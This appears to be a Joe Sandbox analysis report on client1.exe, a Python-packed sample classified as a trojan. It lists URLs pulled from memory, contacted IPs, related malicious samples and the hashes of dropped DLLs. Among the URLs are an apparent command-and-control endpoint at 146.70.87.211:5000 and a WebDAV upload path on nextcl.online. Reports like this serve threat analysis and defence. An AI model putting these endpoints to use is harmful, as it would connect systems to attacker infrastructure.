https://json.org	client1.exe, 00000002.00000003.1476629113.000001692EA76000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E508000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476629113.000001692EA8D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings	client1.exe, 00000002.00000002.2691355039.000001692E850000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691134197.000001692E750000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://httpbin.org/	client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.apache.org/licenses/	client1.exe, 00000000.00000003.1458377423.00000262AABD6000.00000004.00000020.00020000.00000000.sdmp, LICENSE.APACHE.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	client1.exe, 00000002.00000003.1473810890.000001692E3A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://twitter.com/	client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	client1.exe, 00000002.00000003.1489839218.000001692E9FE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1492291790.000001692E9FE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691668490.000001692E9FE000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474438475.000001692E9EF000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E508000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476180999.000001692EA02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cryptography.io/en/latest/installation/	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	client1.exe, 00000002.00000003.1465728144.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1466854228.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471415816.000001692C718000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474743784.000001692E30A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1467193947.000001692C709000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471313853.000001692E345000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1473877269.000001692E306000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690005543.000001692C6A4000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1471112667.000001692E302000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.python.org/psf/license/	client1.exe, 00000002.00000002.2693881322.00007FFBAAC69000.00000004.00000001.01000000.00000004.sdmp, python311.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue42195.	client1.exe, 00000002.00000003.1475900957.000001692EA62000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E508000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.shields.io/pypi/v/cryptography.svg	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
http://google.com/mail/	client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://146.70.87.211:5000/clients/996/commands0	client1.exe, 00000002.00000002.2692478911.000001692F1D8000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wwwsearch.sf.net/):	client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476629113.000001692EA76000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476531637.000001692EAF7000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tools.ietf.org/html/rfc6125#section-6.4.3	client1.exe, 00000002.00000003.1474438475.000001692EA1A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2692163665.000001692ED70000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476180999.000001692EA1A000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475306605.000001692EA1A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cryptography.io/en/latest/security/	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://cffi.readthedocs.io/en/latest/using.html#callbacks	_cffi_backend.cp311-win_amd64.pyd.0.dr	false	Avira URL Cloud: safe	unknown
http://timelessrepo.com/json-isnt-a-javascript-subset).	client1.exe, 00000002.00000003.1492430826.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1490021995.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1476584183.000001692EAAF000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2691501664.000001692E9A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.openssl.org/H	client1.exe, 00000000.00000003.1453344762.00000262AABD5000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2695346488.00007FFBAB1C6000.00000002.00000001.01000000.0000000F.sdmp, client1.exe, 00000002.00000002.2695939389.00007FFBAB65B000.00000002.00000001.01000000.0000000E.sdmp, libssl-1_1.dll.0.dr	false	URL Reputation: safe	unknown
https://docs.python.org/3/library/socket.html#socket.socket.connect_ex	client1.exe, 00000002.00000002.2692478911.000001692F154000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	client1.exe, 00000002.00000003.1471112667.000001692E302000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	client1.exe, 00000002.00000003.1473810890.000001692E3A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy	client1.exe, 00000002.00000002.2692478911.000001692F100000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://146.70.87.211:5000bject	client1.exe, 00000002.00000002.2690716906.000001692E400000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cryptography.io	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pyca/cryptography/issues	METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://readthedocs.org/projects/cryptography/badge/?version=latest	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings.	client1.exe, 00000002.00000002.2691134197.000001692E750000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://google.com/mail	client1.exe, 00000002.00000002.2690470308.000001692E300000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E5C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0263/	client1.exe, 00000002.00000002.2693682237.00007FFBAABCC000.00000002.00000001.01000000.00000004.sdmp, python311.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://pypi.org/project/cryptography/	client1.exe, 00000000.00000003.1457707874.00000262AABD9000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	client1.exe, 00000002.00000002.2690809690.000001692E508000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nextcl.online/remote.php/dav/files/root/	client1.exe, 00000002.00000002.2690716906.000001692E400000.00000004.00001000.00020000.00000000.sdmp, client1.exe, 00000002.00000002.2690809690.000001692E508000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1475247941.000001692E564000.00000004.00000020.00020000.00000000.sdmp, client1.exe, 00000002.00000003.1474501548.000001692E55D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
146.70.87.211	unknown	United Kingdom		2018	TENET-1ZA	false
172.67.168.106	ifconfig.co	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1548293
Start date and time:	2024-11-04 09:48:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	client1.exe
Detection:	MAL
Classification:	mal56.troj.evad.winEXE@11/33@1/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: client1.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
146.70.87.211	Firefoxw.png.exe	Get hash	malicious	Unknown	Browse
146.70.87.211	FileDoc2.png.exe	Get hash	malicious	Unknown	Browse
172.67.168.106	https://docs.google.com/presentation/d/e/2PACX-1vTDYiKRA4Xpi87V1ueZYWLPwiU1D7IimpaLgw9IwC2WOcZVcxEAqv83v8l-qPScyrAJ2_Ln7kd6oD0B/pub?start=false&loop=false&delayms=3000	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ifconfig.co	python-3.12.1-amd64[1].exe	Get hash	malicious	Unknown	Browse	172.64.203.2
	A8jtAAVtzW.exe	Get hash	malicious	Conti	Browse	172.64.163.15
	A8jtAAVtzW.exe	Get hash	malicious	Conti	Browse	172.64.162.15
	apache2	Get hash	malicious	FritzFrog	Browse	188.114.97.7
	nc	Get hash	malicious	FritzFrog	Browse	188.114.97.7

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TENET-1ZA	Firefoxw.png.exe	Get hash	malicious	Unknown	Browse	146.70.87.211
	FileDoc2.png.exe	Get hash	malicious	Unknown	Browse	146.70.87.211
	ppc.elf	Get hash	malicious	Mirai	Browse	146.232.183.240
	jew.x86.elf	Get hash	malicious	Mirai	Browse	146.68.57.73
	ppc.elf	Get hash	malicious	Unknown	Browse	155.233.21.8
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	152.116.161.28
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	163.200.222.201
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	143.128.168.115
	arm.elf	Get hash	malicious	Unknown	Browse	146.237.40.244
	nklx86.elf	Get hash	malicious	Unknown	Browse	154.114.95.172
CLOUDFLARENETUS	https://www.supercontable.es/emailing/track_superc.php?Destino=!:%7D%7D%7C.fasttravelnet.xyz/YW5kcmVzLnRvcmliaW9AY2VsbG5leHRlbGVjb20uY29t&IdTracking=9008&user=000000	Get hash	malicious	Phisher	Browse	104.17.25.14
	B6EGeOHEFm.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	Q60ZbERXWZ.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	nuVM6HVKRG.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	XCubQJqiz7.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	upd.ps1	Get hash	malicious	Phemedrone Stealer	Browse	172.67.70.233
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	WDSecureUtil.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.1.100
	DBp7mBJwqD.exe	Get hash	malicious	Phemedrone Stealer	Browse	172.67.70.233
	EROctober 31, 2024_Amendment_for_J.thepautIyNURVhUTlVNUkFORE9NMTkjIw==-1.html	Get hash	malicious	Unknown	Browse	104.21.55.69

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI40522\VCRUNTIME140.dll	qbE2mhhzCq.exe	Get hash	malicious	Blank Grabber	Browse
	UwOcZADSmi.exe	Get hash	malicious	AsyncRAT	Browse
	IyWKJMlCXg.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Python.Stealer.1545.20368.28754.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	JdHvcxG4Up.exe	Get hash	malicious	Unknown	Browse
	souFnS89FP.exe	Get hash	malicious	Unknown	Browse
	Bootstrapper V1.19.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	enigma.tech.exe	Get hash	malicious	Blank Grabber	Browse
	LicenseManagerWamp.exe	Get hash	malicious	Unknown	Browse
	VXLauncher.exe	Get hash	malicious	Empyrean, Discord Token Stealer	Browse
C:\Users\user\AppData\Local\Temp\_MEI40522\_brotli.cp311-win_amd64.pyd	SecuriteInfo.com.Python.Stealer.1251.9496.6786.exe	Get hash	malicious	Python Stealer, BLX Stealer, XLABB Grabber	Browse
	SecuriteInfo.com.Python.Stealer.1251.9496.6786.exe	Get hash	malicious	Python Stealer, BLX Stealer, XLABB Grabber	Browse
	UyvVIyj7Ga.exe	Get hash	malicious	Unknown	Browse
	https://github.com/AccentuSoft/LinkScope_Client/releases/download/v1.6.2/LinkScope_Installer.exe	Get hash	malicious	Unknown	Browse
	Wetransfer.exe	Get hash	malicious	Python Stealer	Browse
	erg.exe	Get hash	malicious	Unknown	Browse
	erg.exe	Get hash	malicious	Trap Stealer	Browse
	Mupid_project.xls	Get hash	malicious	Unknown	Browse
	yXLOWtfvSd.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\_MEI40522\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.643764685776923
Encrypted:	false
SSDEEP:	1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
MD5:	870FEA4E961E2FBD00110D3783E529BE
SHA1:	A948E65C6F73D7DA4FFDE4E8533C098A00CC7311
SHA-256:	76FDB83FDE238226B5BEBAF3392EE562E2CB7CA8D3EF75983BF5F9D6C7119644
SHA-512:	0B636A3CDEFA343EB4CB228B391BB657B5B4C20DF62889CD1BE44C7BEE94FFAD6EC82DC4DB79949EDEF576BFF57867E0D084E0A597BF7BF5C8E4ED1268477E88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: qbE2mhhzCq.exe, Detection: malicious, Browse Filename: UwOcZADSmi.exe, Detection: malicious, Browse Filename: IyWKJMlCXg.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1545.20368.28754.exe, Detection: malicious, Browse Filename: JdHvcxG4Up.exe, Detection: malicious, Browse Filename: souFnS89FP.exe, Detection: malicious, Browse Filename: Bootstrapper V1.19.exe, Detection: malicious, Browse Filename: enigma.tech.exe, Detection: malicious, Browse Filename: LicenseManagerWamp.exe, Detection: malicious, Browse Filename: VXLauncher.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d.....y..........." ...".....`.......................................................5....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\_brotli.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	820736
Entropy (8bit):	6.056263694016779
Encrypted:	false
SSDEEP:	12288:cY0Uu7wLsglBv4i5DGAqXMAHhlyL82XTw05nmZfR7o:cp0NA1tAmZfR
MD5:	D9FC15CAF72E5D7F9A09B675E309F71D
SHA1:	CD2B2465C04C713BC58D1C5DE5F8A2E13F900234
SHA-256:	1FCD75B03673904D9471EC03C0EF26978D25135A2026020E679174BDEF976DCF
SHA-512:	84F705D52BD3E50AC412C8DE4086C18100EAC33E716954FBCB3519F4225BE1F4E1C3643D5A777C76F7112FAE30CE428E0CE4C05180A52842DACB1F5514460006
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Python.Stealer.1251.9496.6786.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Python.Stealer.1251.9496.6786.exe, Detection: malicious, Browse Filename: UyvVIyj7Ga.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: Wetransfer.exe, Detection: malicious, Browse Filename: erg.exe, Detection: malicious, Browse Filename: erg.exe, Detection: malicious, Browse Filename: Mupid_project.xls, Detection: malicious, Browse Filename: yXLOWtfvSd.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ls...........u......q......u......q......q......q.....Yq...........Hp.....Hp.....Hp.....Hp.....Rich............................PE..d......d.........." ...#.@...H.......F....................................................`.........................................@c..`....c.......................................9..............................P8..@............P...............................text....?.......@.................. ..`.rdata.......P.......D..............@..@.data........p.......`..............@....pdata...............h..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	84760
Entropy (8bit):	6.570256456635448
Encrypted:	false
SSDEEP:	1536:0RdQz7pZ3catNZTRGE51LOBK5bkb8BsfYqJIJCVM7SyTjPxL:0/Qz9Z5VOwkIBsAqJIJCVM9x
MD5:	A8A37BA5E81D967433809BF14D34E81D
SHA1:	E4D9265449950B5C5A665E8163F7DDA2BADD5C41
SHA-256:	50E21CE62F8D9BAB92F6A7E9B39A86406C32D2DF18408BB52FFB3D245C644C7B
SHA-512:	B50F4334ACB54A6FBA776FC77CA07DE4940810DA4378468B3CA6F35D69C45121FF17E1F9C236752686D2E269BD0B7BCE31D16506D3896B9328671049857ED979
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........u............l`.....h......h......h......h......h.....bh......l............bh.....bh.....bh.....bh.....Rich....................PE..d......c.........." ...".....^......L........................................P............`.........................................p...H............0....... .. ......../...@..........T...........................p...@............................................text............................... ..`.rdata..L>.......@..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\_cffi_backend.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	181760
Entropy (8bit):	6.176962076839488
Encrypted:	false
SSDEEP:	3072:jm3K87nKna75PQrBjfFKYG50nzkL+CrXfU+PS7KiSTLkKKYYg4UO:jmb7Ma7KdFKEnOrXf7biSTLLIXUO
MD5:	FDE9A1D6590026A13E81712CD2F23522
SHA1:	CA99A48CAEA0DBACCF4485AFD959581F014277ED
SHA-256:	16ECCC4BAF6CF4AB72ACD53C72A1F2B04D952E07E385E9050A933E78074A7D5B
SHA-512:	A522661F5C3EEEA89A39DF8BBB4D23E6428C337AAC1D231D32B39005EA8810FCE26AF18454586E0E94E51EA4AC0E034C88652C1C09B1ED588AEAC461766981F4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$......._......C...C...C..NC...CI..B...C}. C...CI..B...CI..B...CI..B...C..B...Cz..B...C...C...C..B...C..HC...C..B...C."C...C..B...CRich...C........................PE..d...m.b.........." .........B..............................................0............`..........................................g..l....g..................<............ .......M...............................M..8............................................text...x........................... ..`.rdata..............................@..@.data....\.......0...x..............@....pdata..<...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	123664
Entropy (8bit):	6.05786871255428
Encrypted:	false
SSDEEP:	3072:L7u5LnIx1If3yJdZfLIUAYX5BO89IJLPSVxr:LwxfijZfLIU9BO8f
MD5:	496DCF8821FFC12F476878775999A8F3
SHA1:	6B89B8FDD7CD610C08E28C3A14B34F751580CFFD
SHA-256:	B59E103F8EC6C1190DED21EEF27BEA01579220909C3968EEEC37D46D2ED39E80
SHA-512:	07118F44B83D58F333BC4B853E9BE66DFFB3F7DB8E65E0226975297BF5794EBDAA2C7A51EF84971FAF4D4233A68A6B5E9AC02E737D16C0AC19A6CF65FAD9443F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........z..N...N...N...Gc..H....g..L....g..B....g..F....g..J....g..L....c..O....c..H....`..M...N........g..H....g..O....gv.O....g..O...RichN...........................PE..d....~.c.........." ..."............p\..............................................X.....`.........................................pP.......P.........................../..............T...........................`...@............................................text............................... ..`.rdata...l.......n..................@..@.data...$=...p...8...^..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	253712
Entropy (8bit):	6.5494308842214055
Encrypted:	false
SSDEEP:	6144:81/80zC2Ej7n9Is3yVKFoob4Q48dl2r89qWM53pLW1AsUtIFcb:czC2c7nUVKFd40Cdi8icb
MD5:	5E8AA9CD4742A51ACC5B2155770241D5
SHA1:	AF030327EA6702A081DE422168D812263F581470
SHA-256:	59FEE7A8D0A85ED98BBF5DFB7A0AD64B60CBE88427EFD98B3C9FAAD3E4421A87
SHA-512:	E751621902897DB7274B481386A811D2AABB63AA67759107C2F61BF29AFC5437E7F5892158C83810DD5B5B498D160E308E6ED6453102D9BB58FC8F7DABF58697
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}RT...T...T...]...Z.......V.......Y.......\.......P.......W.......V...T..........U.......[.......U.......U.......U...RichT...................PE..d....~.c.........." ...".x...<............................................................`..........................................T..P...`T...................&......./......P.......T...........................@...@............................................text...5v.......x.................. ..`.rdata..<............\|..............@..@.data....*...p...$...T..............@....pdata...&.......(...x..............@..@.rsrc...............................@..@.reloc..P...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	65296
Entropy (8bit):	6.219900689625999
Encrypted:	false
SSDEEP:	1536:H8njpnxGkYNEUsZE/0Cw6cG1BIJOILis7SydPxPK:cnjpnxbZyw6t1BIJOILNTxC
MD5:	1C88B53C50B5F2BB687B554A2FC7685D
SHA1:	BFE6FDB8377498BBEFCAAD1E6B8805473A4CCBF3
SHA-256:	19DD3B5EBB840885543974A4CB6C8EA4539D76E3672BE0F390A3A82443391778
SHA-512:	A312B11C85AAA325AB801C728397D5C7049B55FA00F24D30F32BF5CC0AD160678B40F354D9D5EC34384634950B5D6EDA601E21934C929B4BC7F6EF50F16E3F59
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A.g...g...g....2..g.......g.......g.......g.......g..g....g.......g.......g...g..!g..g....g..g....g..g.^..g..g....g..Rich.g..........................PE..d......c.........." ...".T...~......@?...............................................}....`.............................................P......................,......../......\...0}..T............................{..@............p..(............................text...YR.......T.................. ..`.rdata...N...p...P...X..............@..@.data...8...........................@....pdata..,...........................@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	158992
Entropy (8bit):	6.848358141260959
Encrypted:	false
SSDEEP:	3072:jlirS97HrdVmEkGCm5hRznf49mNo2wOvJ02JIJZ1G0qf1xPD:jlirG0EkTuAYO2wQ35j
MD5:	BC07D7AC5FDC92DB1E23395FDE3420F2
SHA1:	E89479381BEEBA40992D8EB306850977D3B95806
SHA-256:	AB822F7E846D4388B6F435D788A028942096BA1344297E0B7005C9D50814981B
SHA-512:	B6105333BB15E65AFEA3CF976B3C2A8A4C0EBB09CE9A7898A94C41669E666CCFA7DC14106992502ABF62F1DEB057E926E1FD3368F2A2817BBF6845EADA80803D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.C#.D.#.D.#.D....'.D.l.E.!.D.l.A./.D.l.@.+.D.l.G. .D...E. .D.h.E.!.D.#.E.E.D...I...D...D.".D....".D...F.".D.Rich#.D.................PE..d......c.........." ...".b...........5...............................................Z....`..........................................%..L...\%..x....p.......P.......>.../......8.......T...........................p...@............................................text....a.......b.................. ..`.rdata..............f..............@..@.data........@......................@....pdata.......P......................@..@.rsrc........p.......2..............@..@.reloc..8............<..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40522\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\client1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32528
Entropy (8bit):	6.447771962486264
Encrypted:	false
SSDEEP:	768:z+yF66rXlmk599IJQU55YiSyvpKHPxWEx7M:z+wnXlP599IJQUn7SyhKHPxDM
MD5:	E0CC8C12F0B289EA87C436403BC357C1
SHA1:	E342A4A600EF9358B3072041E66F66096FAE4DA4
SHA-256:	9517689D7D97816DEE9E6C01FFD35844A3AF6CDE3FF98F3A709D52157B1ABE03
SHA-512:	4D93F23DB10E8640CD33E860241E7EA6A533DAF64C36C4184844E6CCA7B9F4BD41DB007164A549E30F5AA9F983345318FF02D72815D51271F38C2E8750DF4D77
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
